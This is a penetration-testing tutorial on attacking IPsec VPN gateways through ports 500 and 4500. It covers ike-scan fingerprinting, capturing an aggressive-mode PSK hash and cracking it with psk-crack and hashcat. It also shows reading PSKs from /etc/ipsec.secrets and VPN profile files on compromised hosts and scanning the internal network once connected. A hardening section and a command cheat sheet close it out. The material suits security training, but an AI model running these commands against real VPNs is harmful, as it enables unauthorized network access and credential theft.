networking

Port 4500 IPsec NAT-T: VPN, IKE and PSK Cracking

Port 4500 IPsec NAT-T: VPN, IKE and PSK Cracking

Port 4500 IPsec NAT-T in the pentest: IKE, NAT traversal, aggressive mode, PSK cracking and exposed VPN surface analysis.

  • Posted on 2026-04-14
  • Reading time: 3 min

UDP port 4500 is used by IPsec NAT-Traversal (NAT-T), the mechanism that allows IPsec VPN tunnels to run through NAT devices. When a VPN client is behind a router with NAT, the IKE protocol on port 500 negotiates the connection, and then the ESP traffic is encapsulated in UDP on port 4500 to traverse the NAT. In penetration testing, finding an open 4500 port confirms the presence of an IPsec VPN concentrator—the entry point into the corporate network. The value is not in attacking IPsec itself (cryptographically robust if configured well), but in looking for misconfigurations: IKE aggressive mode that exposes crackable PSK hashes, weak pre-shared keys, and brute-forgeable VPN credentials.

Port 4500 always works in tandem with port 500 (IKE). If you find port 4500, also scan port 500—that's where the negotiation takes place, and you can attack it.

How IPsec NAT-T Works #

text
Client VPN (dietro NAT)            Concentratore VPN
┌──────────────┐                   ┌──────────────────┐
│ 192.168.1.5  │                   │ VPN Gateway      │
│              │                   │ 203.0.113.10     │
│ IKE (:500)   │ ── negotiate ──► │ IKE (:500)       │
│ NAT-T (:4500)│ ── ESP in UDP ──►│ NAT-T (:4500)    │
│              │ ◄── tunnel ──────│ Rete interna:    │
│              │   10.10.0.0/16   │ 10.10.0.0/16     │
└──────────────┘                   └──────────────────┘

Without NAT-T, the ESP protocol cannot traverse the NAT because it lacks TCP/UDP ports. NAT-T encapsulates ESP within UDP packets on port 4500.

1. Enumeration #

Nmap #

bash
nmap -sU -p 500,4500 10.10.10.40
text
PORT     STATE SERVICE
500/udp  open  isakmp
4500/udp open  ipsec-nat-t

ike-scan — Concentrator fingerprinting #

bash
ike-scan -M 10.10.10.40
text
10.10.10.40     Main Mode Handshake returned
    SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK)
    VID=1f07f70eaa6514d3b0fa96542a500407 (Cisco Unity)

Intelligence: Auth=PSK (crackable), 3DES (weak), Cisco Unity (is an ASA), Group 2 (DH 1024-bit, weak).

ike-scan aggressive mode — Capture PSK hash #

bash
ike-scan -M --aggressive -P handshake.txt 10.10.10.40

Aggressive mode sends the hash of the Pre-Shared Key in the first packet — interceptable and crackable offline.

Identify the vendor #

bash
ike-scan -M --showbackoff 10.10.10.40

The backoff pattern identifies: Cisco, Juniper, Fortinet, StrongSwan.

2. PSK Cracking #

If the concentrator supports aggressive mode, the captured hash is crackable.

bash
# psk-crack (ike-scan suite)
psk-crack -d /usr/share/wordlists/rockyou.txt handshake.txt
text
Key "VPN_Corp2025!" matches handshake
bash
# hashcat mode 5300 (IKEv1 aggressive mode PSK)
hashcat -m 5300 handshake.hash /usr/share/wordlists/rockyou.txt

PSK found → you can connect to the VPN.

3. VPN Credentials from Other Sources #

Many VPN concentrators also require user credentials (XAUTH) in addition to the PSK:

bash
# Cerca file di configurazione VPN su host compromessi
find / -name "*.pcf" -o -name "*.ovpn" -o -name "ipsec.secrets" 2>/dev/null
bash
# ipsec.secrets contiene le PSK in chiaro
cat /etc/ipsec.secrets
text
10.10.10.40 : PSK "VPN_Corp2025!"
bash
# File .pcf (Cisco VPN client) — password offuscata ma decifrabile
cat vpn_profile.pcf | grep enc_GroupPwd
# Decodifica con cisco-decrypt

VPN credentials often match Active Directory credentials (LDAP auth), or are found in SVN /Git repositories, NFS shares , database dumps , or phishing emails.

4. Inside the VPN — Post-Connection #

bash
# Connessione con StrongSwan
ipsec up corp-vpn

# Verifica subnet assegnata
ip addr show
ip route

You are now in the internal network. Priority targets: Domain Controller , RDP , SMB , MySQL.

bash
nmap -sn 10.10.0.0/16
nmap -sV -p- 10.10.10.0/24

5. Detection & Hardening #

  • Disable aggressive mode — use only main mode (does not expose PSK hash)
  • IKEv2 instead of IKEv1 — more secure, no aggressive mode
  • strong PSK (20+ random characters) or better certified
  • MFA for XAUTH — not just username/password
  • DH Group 14+ (2048-bit) — not Group 2
  • AES-256 instead of 3DES
  • Monitor Failed VPN attempts (brute force indicator)

6. Final Cheat Sheet #

ActionCommand
Nmapnmap -sU -p 500,4500 target
IKE fingerprintike-scan -M target
Aggressive modeike-scan -M --aggressive -P handshake.txt target
Vendor detectike-scan -M --showbackoff target
PSK crackpsk-crack -d wordlist handshake.txt
Hashcat IKEv1hashcat -m 5300 hash wordlist
Search PSKcat /etc/ipsec.secrets
Search VPN configfind / -name "*.pcf" -o -name "*.ovpn"

Reference: RFC 3947 (NAT-T), ike-scan documentation, Cisco ASA security guides. For authorized use only. https://sendthepayload.com/fixing-ipsec-tunnels-with-nat-traversal-nat-t/

hackita.it/supporto — hackita.it/servizi.

#IPsec NAT-T #IKEv1 Aggressive Mode #VPN PSK

leave a message

I'm not a robot